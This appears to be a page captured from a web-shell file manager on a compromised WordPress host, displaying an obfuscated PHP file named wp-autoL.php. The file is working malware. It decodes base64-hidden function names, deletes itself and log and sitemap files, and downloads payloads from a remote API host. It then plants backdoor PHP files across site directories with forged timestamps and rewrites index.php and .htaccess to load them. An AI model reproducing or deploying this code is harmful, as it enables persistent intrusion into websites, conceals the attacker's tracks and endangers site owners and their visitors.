HEX
Server: Apache/2
System: Linux da.maxdata.vn 3.10.0-1160.66.1.el7.x86_64 #1 SMP Wed May 18 16:02:34 UTC 2022 x86_64
User: user4 (1004)
PHP: 7.4.29
Disabled: NONE
Upload Files
File: /home/user4/domains/sotongdai-a.online/public_html/wp-autoL.php
<?php $OPA = explode('~',base64_decode('ZXJyb3JfcmVwb3J0aW5nfnNldF90aW1lX2xpbWl0fmlnbm9yZV91c2VyX2Fib3J0fnVubGlua35zdHJzdHJ+c3RyX3JlcGxhY2V+Y2hkaXJ+c3Vic3RyfnByZWdfcmVwbGFjZX5maWxlX2V4aXN0c35zdHJ0b3VwcGVyfnN0cmxlbn5iYXNlNjRfZW5jb2RlfnJlbmFtZX5vcGNhY2hlX3Jlc2V0fmZ1bmN0aW9uX2V4aXN0c35zdHJlYW1fY29udGV4dF9jcmVhdGV+ZmlsZV9nZXRfY29udGVudHN+Y3VybF9pbml0fmN1cmxfc2V0b3B0fmN1cmxfZXhlY35jdXJsX2Nsb3NlfnN0cnBvc35leHBsb2RlfnNpemVvZn5pbXBsb2RlfmNocn5zdHJ0b2xvd2VyfmRpcm5hbWV+bWtkaXJ+Zm9wZW5+ZndyaXRlfmZjbG9zZX50b3VjaH5nbG9ifmZpbGVtdGltZX5hcnJheV9yYW5kfmFycmF5X3B1c2h+b3BlbmRpcn5yZWFkZGlyfmlzX2Rpcn5pc19saW5rfnByZWdfbWF0Y2h+c3Vic3RyX2NvdW50fnNodWZmbGU=')); $OPA[1](60);$OPA[2](1); $xbs = $_GET; $jmF = $_SERVER; $hMS = !empty($xbs['a'])?$xbs['a']:0; $PUY = !empty($xbs['b'])?$xbs['b']:'l'; function ALPi($hMS){ $onj = explode('~',base64_decode('U0NSSVBUX0ZJTEVOQU1FflNDUklQVF9GSUxFTkFNRX5cXH5QSFBfU0VMRn4vflxcflBIUF9TRUxGflBIUF9TRUxGfn5TQ1JJUFRfRklMRU5BTUV+L34vcm9ib3RzLnR4dH4vc2l0ZW1hcC54bWx+L2Vycm9yX2xvZ35odHRwOi9+L25zMTkufmlzYXBpMjV0ZW1wLn54eXovX2FwaV9+YXV0b0xsXzExMDQufnBocD91aX5kPTU4Mjh+SFRUUF9IT1NUfkhUVFBTfkhUVFBTfm9ufmh0dHBzfmh0dHB+Oi8vfi8/fi9bdzAtOVwuLV0vfn53d3cufn49fjExfmluZGV4LnBocH4uaHRhY2Nlc3N+d3d3fi5+LX5+SFRUUF9IT1NUfndwLWNvbmZpZ34ufmV+ImUifiJ+In53cC1pbmNsdWRlc353cC1zZXR0aW5ncy5waHB+Y2dpLWJpbi8ufiNOb3RXcml0ZX41bWR+V1B+d3AtY29uZmlnfi5+d3AtaW5+LnBocH5EaXJlY3RvcnlJbmRleH5EaXJlY3RvcnlJbmRleCB+d3AtYWRtaW4vb3B0aW9ucy1+LnBocH5QSFB+PD9waHAgQGluY2x1ZGVfb25jZSgifiIpOyA/Pn48P3BocCBpZihmaWxlX2V4aXN0cygiaW5kZXguaHRtbCIpKXtpbmNsdWRlKCJpbmRleC5odG1sIik7fWVsc2V7QGluY2x1ZGUoIl9pbmRleC5odG1sIik7fT8+fi9pbmRleC5odG1sfi9faW5kZXguaHRtbH48YSBocmVmPSI/YT0yJnM9fiI+YXV0bzk8L2E+fmN1cmxfZXhlY35odHRwfm1ldGhvZH5HRVR+dGltZW91dH47fjt+I0Vycm9yfm1zZ35tc2d+O347fmNhY2hlfmltYWdlc35hc3NldHN+d3AtYWRtaW5+d3AtY29udGVudH53cC1pbmNsdWRlc35tc2d+U0g6fmluZGV4fi9+LnBocH5tc2d+LyhfX01BQ09TWHxjZ2ktYmlufHBsdWdpbnN8YWtpc21ldHx1cGxvYWRzKS9+L2luZGV4LnBocA==')); return $onj[$hMS]; } if ($hMS) { @$OPA[3](__FILE__); @$OPA[3]($jmF[ALPi(0)]); if($OPA[4]($jmF[ALPi(0)],ALPi(2))) $jmF[ALPi(3)] = $OPA[5](ALPi(4), ALPi(2),$jmF[ALPi(3)]); define('W', rtrim($OPA[5]($jmF[ALPi(3)],ALPi(8),$jmF[ALPi(0)]),ALPi(4))); @$OPA[6](W); @$OPA[3](W.ALPi(11)); @$OPA[3](W.ALPi(12)); @$OPA[3](W.ALPi(13)); $XnU = ALPi(14).ALPi(15).ALPi(16).ALPi(17).ALPi(18).ALPi(19).ALPi(20); $WKl = $jmF[ALPi(21)]; $WKl = ((isset($jmF[ALPi(22)]) && $jmF[ALPi(22)]==ALPi(24)) ? ALPi(25) : ALPi(26)).ALPi(27).$WKl.ALPi(28).$OPA[7]($OPA[8](ALPi(29), ALPi(8),$OPA[5](ALPi(31), ALPi(8),$WKl)),0,1).ALPi(33).rand(111,999).ALPi(34); $hAm = zJbl($XnU); $ahN = ALPi(35); $onj = ALPi(36); $WQV = JAEO()+2; $_N1 = substr(str_replace(array(ALPi(37),ALPi(38),ALPi(39)),ALPi(8),$jmF[ALPi(21)]),0,4); $_N2 = str_replace(ALPi(42),ALPi(38).$_N1,cDnE($hAm[2])); $PUE = cDnE($hAm[0]); $OWn = cDnE($hAm[6]); if($PUY!=ALPi(44)) $OWn = $OPA[5](ALPi(45), ALPi(46).$PUY.ALPi(46),$OWn); $Gmj = ($OPA[9](ALPi(48)) && $OPA[9](ALPi(49))); $xbs = ALPi(50).$_N1; if($Gmj) $xbs = $_N2; @$OPA[3]($xbs); pPaF($xbs,$OWn,$WQV); if(!$OPA[9]($xbs)) { exit(ALPi(51));} egiX($WKl); egiX($OPA[10]($PUY)); egiX(date(ALPi(52))); if($Gmj) { egiX(ALPi(53)); $NYN = str_replace(ALPi(42),ALPi(38).$_N1,cDnE($hAm[1])); @$OPA[3]($ahN);pPaF($ahN,$NYN,$WQV); $_N3 = ALPi(56).substr($_N1,0,3).ALPi(57); pPaF($_N3,$NYN,$WQV,1); $PUE = str_replace(ALPi(58), ALPi(59).$_N3,$PUE); $PEj = ALPi(60).Opit(6,2).ALPi(57); if($OPA[11](@$hAm[3])>99) egiX(pPaF($PEj,cDnE($hAm[3]))); } else { egiX(ALPi(62)); $NfN = ALPi(63).$xbs.ALPi(64); if($OPA[9]($ahN)) { Oems($ahN,$NfN,1,$xbs); } else { $NfN .= ALPi(65); @$OPA[3]($ahN);pPaF($ahN,$NfN,$WQV); @$OPA[13](W.ALPi(66),W.ALPi(67)); } } @$OPA[3]($onj);pPaF($onj,$PUE,$WQV,1); if($OPA[11](@$hAm[5])>3) pPaF(cDnE($hAm[5]),cDnE($hAm[4])); $Rmd = []; egiX(aIyD()); } else { exit(ALPi(68).time().ALPi(69)); } function zJbl($XnU) {global $OPA; if(!$OPA[15](ALPi(70))){ $onj = $OPA[16](array(ALPi(26)=>array(ALPi(72)=>ALPi(73), ALPi(74)=>18))); $jmF = @$OPA[17]($XnU, false, $onj); }else{ $WQV = $OPA[18](); $OPA[19]($WQV, CURLOPT_URL, $XnU); $OPA[19]($WQV, CURLOPT_RETURNTRANSFER, 1); $OPA[19]($WQV, CURLOPT_SSL_VERIFYPEER, false); $OPA[19]($WQV, CURLOPT_TIMEOUT, 18); $jmF = $OPA[20]($WQV); $OPA[21]($WQV); } if(!empty($jmF) && $OPA[22]($jmF,ALPi(75))) $hMS = $OPA[23](ALPi(75),$jmF); if(!empty($hMS) && $OPA[24]($hMS)>9) return $hMS; exit(ALPi(77)); } function egiX($hMS) {global $OPA; if (!empty($hMS[ALPi(78)])) { echo $OPA[25](',',$hMS[ALPi(78)]).ALPi(75); } else { echo $hMS.ALPi(75); } } function aIyD() { global $OPA, $hAm, $Rmd, $Gmj; TYpB(W); $hMS = count($Rmd); $onj = array(); if(count($Rmd)<3) $onj = array(Opit(5),ALPi(82), ALPi(83), ALPi(84)); if($Gmj) $onj = array(ALPi(85), ALPi(86), ALPi(48)); if($hMS>1) { $WQV = $OPA[36]($Rmd, $hMS); foreach($WQV as $i) { $OPA[37]($onj, $Rmd[$i]); } }else{ $OPA[37]($onj, @$Rmd[0]); } $PUE = []; $PUE[ALPi(78)][] = ALPi(89); $II = 4; $JJ = 7; foreach($onj as $i=>$v) { if(!$OPA[9]($v)) $OPA[29]($v); $NYN = $OPA[27](Opit(5)); switch ($II) { case 4: $NYN = 'e'.$NYN;break; case 5: $NYN = 'm'.$NYN;break; case 6: $NYN = 'l'.$NYN;break; case 7: case 8: case 9: $NYN = ALPi(90);break; default: $NYN = 'x'.$NYN; } $OWn = $v.ALPi(4).$NYN.ALPi(57); $xbs = cDnE($hAm[$JJ]); $II++; $JJ++; if($JJ>10) $JJ = 7; $PUE[ALPi(78)][] = pPaF($OWn,$xbs); if($II>10) break; } if($Gmj) { if($OPA[11](@$hAm[11])>3) pPaF(cDnE($hAm[11]),cDnE($hAm[10])); } else { if($OPA[11](@$hAm[12])>3) pPaF(cDnE($hAm[12]),cDnE($hAm[10])); } if($OPA[11](@$hAm[13])>3) pPaF(cDnE($hAm[13]),cDnE($hAm[10])); return $PUE; } function TYpB($hMS) { global $OPA, $Rmd, $Gmj; if ($onj = $OPA[38]($hMS)) { while (($WQV = $OPA[39]($onj)) !== false) { if ($WQV != '.' && $WQV != '..') { $PUE = $hMS . '/' . $WQV; if ($OPA[40]($PUE) && !$OPA[41]($PUE) &&!$OPA[42](ALPi(94),$WQV)) { $NYN = $OPA[5](W.'/','',$PUE); if ($OPA[43]($NYN,'/')<3) { TYpB($PUE); } $N=0; if($Gmj) $N=3; if(!$OPA[9]($PUE.ALPi(95)) && $OPA[43]($NYN,'/')>=$N) $OPA[37]($Rmd, $NYN); } } } } $OPA[44]($Rmd); } function cDnE($s) {global $OPA;$S = '';$a = $OPA[23]('.',trim($s,'.'));foreach($a as $v) {$S .= $OPA[26]($v);}return $S;} function Opit($n=5,$t=0) {global $OPA;$arr = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h','i', 'j', 'k', 'l','m', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y','z','A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L','M', 'N', 'O', 'P', 'Q', 'R', 'S','T', 'U', 'V', 'W', 'X', 'Y','Z');$s = '';for($i = 0; $i < $n; $i++) {$s .= $arr[mt_rand(0, $OPA[24]($arr) - 1)];}return ($t==1 ? $OPA[10]($s) : ($t==2 ? $OPA[27]($s) : $s));} function pPaF($F,$C,$T='') {global $OPA;if(!$OPA[4]($F,W)) $F = W.'/'.$F;$dir = $OPA[28]($F);if(!empty($dir)&&!$OPA[9]($dir)) @$OPA[29]($dir);$fp = @$OPA[30]($F, 'w');@$OPA[31]($fp, trim($C));@$OPA[32]($fp);if(empty($T)) $T = time()-86400*266;$T = $T+rand(1,3600);@$OPA[33]($F, $T);return ($OPA[9]($F) ? $OPA[5](W,'',$F) : '~');} function JAEO() {global $OPA;$WQV = time()-rand(10,100)*86400;$tArr = $OPA[34](W.'/*.php');foreach($tArr as $v) {$WQV2 = @$OPA[35]($v); if($WQV2>100&&$WQV2<$WQV) $WQV = $WQV2;}return $WQV;} function Oems($F,$C,$T=1,$K='~') {global $OPA;if(!$OPA[4]($F,W)) $F = W.'/'.$F;if($OPA[9]($F)) {$code = @$OPA[17]($F);if(!empty($code)&&$OPA[22]($code,$K)===false) {if($T==2) {$code = $code.$C;} else{$code = $C.$code;} $t = @$OPA[35]($F);if(!$OPA[9]($F.'.0')) @$OPA[13]($F,$F.'.0');return pPaF($F,$code,$t+2);}return '~';}}